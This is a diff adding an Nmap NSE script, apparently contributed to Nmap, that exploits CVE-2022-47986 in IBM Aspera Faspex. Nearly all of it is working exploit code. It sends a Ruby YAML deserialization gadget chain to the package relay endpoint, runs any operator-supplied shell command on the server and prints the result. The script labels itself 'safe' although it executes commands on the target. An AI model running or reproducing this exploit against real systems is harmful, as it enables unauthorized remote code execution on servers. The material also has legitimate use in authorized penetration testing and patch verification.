Merge dc8e8b1f24 into db4aefddfa

scripts/ibm-aspera-faspex-rce.nse

@@ -0,0 +1,185 @@
+description = [[
+  This script exploit IBM Aspera Faspex YAML deserialization vulnerability,
+  a RCE (Remote Code Execution).
+]]
+
+author = "Maurice LAMBERT <mauricelambert434@gmail.com>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "exploit", "intrusive", "vuln"}
+
+---
+-- @name
+-- Aspera Faspex RCE CVE-2022-47986 - Web Server Remote Code Execution
+-- @author
+-- Maurice LAMBERT <mauricelambert434@gmail.com>
+-- @usage
+-- nmap -p 443 --script ibm-aspera-faspex-rce [--script-args ("command=<command>")] <target>
+-- @args command Command to exploit the RCE and print output
+-- @output
+-- ~# nmap -p 443 --script ibm-aspera-faspex-rce 172.17.0.2
+-- PORT    STATE SERVICE
+-- 443/tcp open  https
+-- | ibm-aspera-faspex-rce: 
+-- |   CVE-2022-47986: 
+-- |     title: Aspera Faspex CVE-2022-47986 RCE
+-- |     state: VULNERABLE (Exploitable)
+-- |     ids: 
+-- |       CVE:CVE-2022-47986
+-- |     description: 
+-- |       This script exploit IBM Aspera Faspex YAML deserialization vulnerability, a RCE (Remote Code Execution).
+-- |     dates: 
+-- |       disclosure: 
+-- |         day: 02
+-- |         year: 2022
+-- |         month: 02
+-- |     disclosure: 2022-02-02
+-- |     refs: 
+-- |       https://nvd.nist.gov/vuln/detail/CVE-2022-47986
+-- |       https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/
+-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47986
+-- |       https://github.com/mauricelambert/CVE-2022-47986
+-- |     exploit output: 
+-- |        
+-- | uid=33(www-data) gid=33(www-data) groups=33(www-data)
+-- |_
+-- @output
+-- ~# nmap -p 443 --script ibm-aspera-faspex-rce --script-args "command=id" 172.17.0.2
+-- PORT    STATE SERVICE
+-- 443/tcp open  https
+-- | ibm-aspera-faspex-rce: 
+-- |   CVE-2022-47986: 
+-- |     title: Aspera Faspex CVE-2022-47986 RCE
+-- |     state: VULNERABLE (Exploitable)
+-- |     ids: 
+-- |       CVE:CVE-2022-47986
+-- |     description: 
+-- |       This script exploit IBM Aspera Faspex YAML deserialization vulnerability, a RCE (Remote Code Execution).
+-- |     dates: 
+-- |       disclosure: 
+-- |         year: 2022
+-- |         month: 02
+-- |         day: 02
+-- |     disclosure: 2022-02-02
+-- |     refs: 
+-- |       https://nvd.nist.gov/vuln/detail/CVE-2022-47986
+-- |       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-47986
+-- |       https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/
+-- |       https://github.com/mauricelambert/CVE-2022-47986
+-- |     exploit output: 
+-- |        
+-- | uid=33(www-data) gid=33(www-data) groups=33(www-data)
+-- |_
+
+
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+local http = require "http"
+local nmap = require "nmap"
+
+local detect_only = false
+
+portrule = shortport.http
+
+local function get_payload()
+
+  stdnse.debug2("Set command...")
+  local command = nmap.registry.args.command or "id"
+
+  stdnse.debug2("Building exploit...")
+
+  local exploit = [[
+---
+- !ruby/object:Gem::Installer
+    i: x
+- !ruby/object:Gem::SpecFetcher
+    i: y
+- !ruby/object:Gem::Requirement
+  requirements:
+    !ruby/object:Gem::Package::TarReader
+    io: &1 !ruby/object:Net::BufferedIO
+      io: &1 !ruby/object:Gem::Package::TarReader::Entry
+         read: 0
+         header: "pew"
+      debug_output: &1 !ruby/object:Net::WriteAdapter
+         socket: &1 !ruby/object:PrettyPrint
+             output: !ruby/object:Net::WriteAdapter
+                 socket: &1 !ruby/module "Kernel"
+                 method_id: :eval
+             newline: "throw `]] .. command .. [[`"
+             buffer: {}
+             group_stack:
+              - !ruby/object:PrettyPrint::Group
+                break: true
+         method_id: :breakable
+]]
+
+  stdnse.debug2("Building payload...")
+
+  local payload = [[{
+  "package_file_list": [
+    "/"
+  ],
+  "external_emails": "\n]] .. string.gsub(string.gsub(exploit, '"', "\\\""), '\n', '\\n') .. [[",
+  "package_name": "assetnote_pack",
+  "package_note": "hello from assetnote team",
+  "original_sender_name": "assetnote",
+  "package_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
+  "metadata_human_readable": "Yes",
+  "forward": "pew",
+  "metadata_json": "{}",
+  "delivery_uuid": "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
+  "delivery_sender_name": "assetnote",
+  "delivery_title": "TEST",
+  "delivery_note": "TEST",
+  "delete_after_download": true,
+  "delete_after_download_condition": "IDK"
+}]]
+
+  return payload
+end
+
+action = function(host, port)
+  local vuln = {
+    title = "Aspera Faspex CVE-2022-47986 RCE",
+    state = vulns.STATE.NOT_VULN,
+    IDS = { CVE = 'CVE-2022-47986' },
+    description = "This script exploit IBM Aspera" ..
+      " Faspex YAML deserialization vulnerability," ..
+      " a RCE (Remote Code Execution).",
+    references = {
+       'https://nvd.nist.gov/vuln/detail/CVE-2022-47986',
+       'https://blog.assetnote.io/2023/02/02/pre-auth-rce-aspera-faspex/',
+       'https://github.com/mauricelambert/CVE-2022-47986',
+     },
+     dates = {
+       disclosure = {year = '2022', month = '02', day = '02'},
+     },
+  }
+
+  local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+  stdnse.print_verbose("Web service is up. Send payload...")
+  stdnse.debug2("Send HTTP request.")
+
+  local response = http.post(
+    host,
+    port,
+    '/aspera/faspex/package_relay/relay_package',
+    {},
+    nil,
+    get_payload()
+  )
+
+  stdnse.debug2("Get HTTP response.")
+    
+  vuln.state = vulns.STATE.EXPLOIT
+
+  local output = report:make_output(vuln)
+
+  output["CVE-2022-47986"]["exploit output"] = (
+    "\n       " .. "\n" .. response.body .. "\n"
+  )
+
+  return output
+end